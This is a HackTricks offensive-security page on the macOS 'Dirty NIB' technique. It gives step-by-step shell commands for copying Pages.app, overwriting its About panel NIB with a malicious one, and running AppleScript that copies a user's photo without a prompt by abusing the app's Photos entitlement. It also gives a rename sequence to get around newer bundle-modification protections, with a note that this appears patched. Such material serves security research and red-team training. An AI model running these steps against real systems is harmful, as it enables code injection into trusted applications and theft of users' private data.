8 KiB
macOS Dirty NIB
Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!
Other ways to support HackTricks:
- If you want to see your company advertised in HackTricks or download HackTricks in PDF Check the SUBSCRIPTION PLANS!
- Get the official PEASS & HackTricks swag
- Discover The PEASS Family, our collection of exclusive NFTs
- Join the 💬 Discord group or the telegram group or follow me on Twitter 🐦 @carlospolopm.
- Share your hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
This technique was taken from the post https://blog.xpnsec.com/dirtynib/
Basic Information
NIB files are used in Apple's development ecosystem to define user interface (UI) elements and their interactions within an application. Created with the Interface Builder tool, they contain serialized objects like windows, buttons, and text fields, which are loaded at runtime to present the designed UI. Although still in use, Apple has transitioned towards recommending Storyboards for a more visual representation of an application's UI flow.
{% hint style="danger" %} Moreover, NIB files can also be used to run arbitrary commands and if NIB file is modified in an App, Gatekeeper will still allow to execute the app, so they can be used to run arbitrary commands inside applications. {% endhint %}
Dirty NIB Injection
First we need to create a new NIB file, we’ll use XCode for the bulk of the construction. We start by adding an Object to the interface and set the class to NSAppleScript:
For the object we need to set the initial source
property, which we can do using User Defined Runtime Attributes:
This sets up our code execution gadget, which is just going to run AppleScript on request. To actually trigger the execution of the AppleScript, we’ll just add in a button for now (you can of course get creative with this ;). The button will bind to the Apple Script
object we just created, and will invoke the executeAndReturnError:
selector:
For testing we’ll just use the Apple Script of:
set theDialogText to "PWND"
display dialog theDialogText
And if we run this in XCode debugger and hit the button:
With our ability to execute arbitrary AppleScript code from a NIB, we next need a target. Let’s choose Pages for our initial demo, which is of course an Apple application and certainly shouldn’t be modifiable by us.
We’ll first take a copy of the application into /tmp/
:
cp -a -X /Applications/Pages.app /tmp/
Then we’ll launch the application to avoid any Gatekeeper issues and allow things to be cached:
open -W -g -j /Applications/Pages.app
After launching (and killing) the app the first time, we’ll need to overwrite an existing NIB file with our DirtyNIB file. For demo purposes, we’re just going to overwrite the About Panel NIB so we can control the execution:
cp /tmp/Dirty.nib /tmp/Pages.app/Contents/Resources/Base.lproj/TMAAboutPanel.nib
Once we’ve overwritten the nib, we can trigger execution by selecting the About
menu item:\
If we look at Pages a bit closer, we see that it has a private entitlement to allow access to a users Photos:
So we can put our POC to the test by modifying our AppleScript to steal photos from the user without prompting:
{% code overflow="wrap" %}
use framework "Cocoa"
use framework "Foundation"
set grabbed to current application's NSData's dataWithContentsOfFile:"/Users/xpn/Pictures/Photos Library.photoslibrary/originals/6/68CD9A98-E591-4D39-B038-E1B3F982C902.gif"
grabbed's writeToFile:"/Users/xpn/Library/Containers/com.apple.iWork.Pages/Data/wtf.gif" atomically:1
{% endcode %}
{% hint style="danger" %} Malicious .xib file that executes arbitrary code example. {% endhint %}
Create your own DirtyNIB
Launch Constraints
They basically prevent executing applications outside of their expected locations, so if you copy an application protected by Launch Constrains to /tmp
you won't be able to execute it.
Find more information in this post.
However, parsing the file /System/Volumes/Preboot/*/boot/*/usr/standalone/firmware/FUD/StaticTrustCache.img4
you can still find applications that aren't protected by Launch Constrains so can could still inject NIB files in arbitrary locations into those (check the previous link to learn how to find these apps).
Extra Protections
From macOS Somona, there are some protections preventing to write inside Apps. However, it's still possible to bypass this protection if, before running your copy of the binary, you change the name of the Contents folder:
- Take a copy of
CarPlay Simulator.app
to/tmp/
- Rename
/tmp/Carplay Simulator.app/Contents
to/tmp/CarPlay Simulator.app/NotCon
- Launch the binary
/tmp/CarPlay Simulator.app/NotCon/MacOS/CarPlay Simulator
to cache within Gatekeeper - Overwrite
NotCon/Resources/Base.lproj/MainMenu.nib
with ourDirty.nib
file - Rename to
/tmp/CarPlay Simulator.app/Contents
- Launch
CarPlay Simulator.app
again
{% hint style="success" %}
It looks like this is no longer possible because macOS prevents modifying files inside applications bundles.
So, after executing the app to cache it with Gatekeeper, you won't be able to modify the bundle.
And if you change for example the name of the Contents directory to NotCon (as indicated in the exploit), and then execute the main binary of the app to cache it with Gatekeeper, it will trigger an error and won't execute.
{% endhint %}
Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!
Other ways to support HackTricks:
- If you want to see your company advertised in HackTricks or download HackTricks in PDF Check the SUBSCRIPTION PLANS!
- Get the official PEASS & HackTricks swag
- Discover The PEASS Family, our collection of exclusive NFTs
- Join the 💬 Discord group or the telegram group or follow me on Twitter 🐦 @carlospolopm.
- Share your hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.